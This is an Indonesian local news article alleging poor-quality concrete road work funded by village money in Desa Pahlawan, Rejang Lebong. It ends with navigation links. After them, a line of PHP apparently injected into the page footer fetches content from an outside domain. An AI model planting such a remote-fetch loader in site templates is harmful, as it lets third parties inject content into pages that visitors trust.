Bangunan Rambat Beton Desa Pahlawan Di Duga Asal jadi dan Tidak Berkwalitas

Selasa, 11 Juli 2023

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Jejakkasus.info – Bengkulu/Rejang Lebong -,
Sudah banyak peraturan dan dasar hukum mengenai dana desa seperti
UU Desa Nomor 6 Tahun 2014, PP Nomor 43 Tahun 2014, PP Nomor 60 Tahun 2014 dan perubahannya PP 25 Tahun 2015, Perpres Nomor 43 Tahun 2014, Perpres Nomer 60 Tahun 2015, Permendagri 113 Tahun 2014, Permendesa 05/2014, SKB tiga menteri-Menteri Dalam Negeri, Menteri Keuangan dan Menteri Desa Pembangunan Daerah Tertinggal dan Transmigrasi Nomor: 900/5356/DJ; Nomor: 959/KMK.07/2015; Nomor: 49 Tahun 2015 Tentang Percepatan Penyaluran, Pengelolaan dan Penggunaan Dana Desa Tahun 2015, Permenkeu 93/PMK.07/2015.

Baca Juga:  Buka Pendidikan Sespimti dan Sespimen, Kapolri Minta Jangan Ada Kluster Baru Covid-19

Baca Juga:  Mancing Mania Adat Desa Panen Padi Desa Kalimati
Temuan tim di lapangan di Desa Pahlawan terlihat ada Kejanggalan di duga bangunan Rambat Beton di tahun 2023 asal jadi dan tidak Berkwalitas.Sebab jalan tersebut suda 3 kali di tumpang tindih .mulai dari Dana PMPM Hingga lapen dan sekarang di rabat beton.bukan nya peningkatan melainkan penurunan bangunan atau menghilangkan aset desa .Panjang jalan tersebut 417 mtr dengan pagu dana kurang lebih 250 juta lebih Tim langsung konfirmasi ke pihak TPK melalui whasab untuk mempertanyakan permasalahan tersebut demi keseimbangan berita yang akan di tayangkan. Adapun tmuan kita di lpangan 1. Memanupulasi material 2. Ketebalan di duga tidak sesuai dg rab 3. Aspal di duga produk luar negri
Baca Juga:  Calon DPRD Pringsewu Dapil 4, Yuniarti Tingkatkan Silaturahmi dengan FKWKP
Beliau menjawab, Untuk masalah itu, kito sudah jalankan sesuai gambar yg sudah di buat oleh konsultan, lebih jls nyo hubungi sekdes kito. Secepatnya tim akan konfirmasi ke pihak dinas bersangkutan agar dapat menindak lanjuti permasalahan ini dan seterus nya tim akan membuat pengaduan ke pihak APH, dikarenakan terlihat banyak kejaggalan bangunan tersebut. ( Yadi )

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Wujudkan Segitiga Emas, Pj Gubernur Lampung Ingin Jadikan Pringsewu Sebagai Kotamadya
Kapolres Pringsewu Serukan Pilkada Damai Tanpa Diskriminasi
Ngaku Anggota DPRD Balam Pengunjung Tak Mau Bayar : Karoke De’Amore Eks Thanos Diduga Belum Memiliki Ijin Lengkap
Pj. Gubernur Lampung apresiasi Dr. Marindo yang peduli UMKM melalui dekrafe
Pemkab Tanggamus Luncurkan Inovasi Penerbitan Akte Perkawinan Kolaborasi Tokoh Agama
Lapor Pak Prabowo, Anggota DPRD Lamsel F-Gerindra Ini Kampanye Bagikan Migor Ilegal ke Masyarakat
RSUDAM Lampung Diduga Abaikan Anggaran Rp500 Juta untuk Pemeliharaan Lingkungan
Percepat Atasi Masalah Sampah, Pj.Bupati Pringsewu Temui Direktur Sanitasi PUPR

Berita Terbaru

Berita Terkait

Jumat, 4 Oktober 2024 - 22:38 WIB

Wujudkan Segitiga Emas, Pj Gubernur Lampung Ingin Jadikan Pringsewu Sebagai Kotamadya

Jumat, 4 Oktober 2024 - 19:31 WIB

Kapolres Pringsewu Serukan Pilkada Damai Tanpa Diskriminasi

Jumat, 4 Oktober 2024 - 06:58 WIB

Pj. Gubernur Lampung apresiasi Dr. Marindo yang peduli UMKM melalui dekrafe

Kamis, 3 Oktober 2024 - 10:22 WIB

Pemkab Tanggamus Luncurkan Inovasi Penerbitan Akte Perkawinan Kolaborasi Tokoh Agama

Kamis, 3 Oktober 2024 - 07:50 WIB

Lapor Pak Prabowo, Anggota DPRD Lamsel F-Gerindra Ini Kampanye Bagikan Migor Ilegal ke Masyarakat

Berita Terbaru

Berita Utama

Wujudkan Segitiga Emas, Pj Gubernur Lampung Ingin Jadikan Pringsewu Sebagai Kotamadya

Jumat, 4 Okt 2024 - 22:38 WIB

Peristiwa

Kunjungan Kepala Dinas Pendidikan Provinsi Jatim Ke Kabupaten Jombang

Jumat, 4 Okt 2024 - 20:42 WIB

Peristiwa

Tambang Galian C Desa Tugu, Kecamatan Wates, Kabupaten Kediri dalam Monitoring Ketua Umum LSM Gimicak

Jumat, 4 Okt 2024 - 20:06 WIB

Berita Utama

Kapolres Pringsewu Serukan Pilkada Damai Tanpa Diskriminasi

Jumat, 4 Okt 2024 - 19:31 WIB

Peristiwa

Ditresnarkoba Diringkus Polda Babel Miliki 2,6 Kg Sabu 14 Kg Ganja

Jumat, 4 Okt 2024 - 11:38 WIB

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>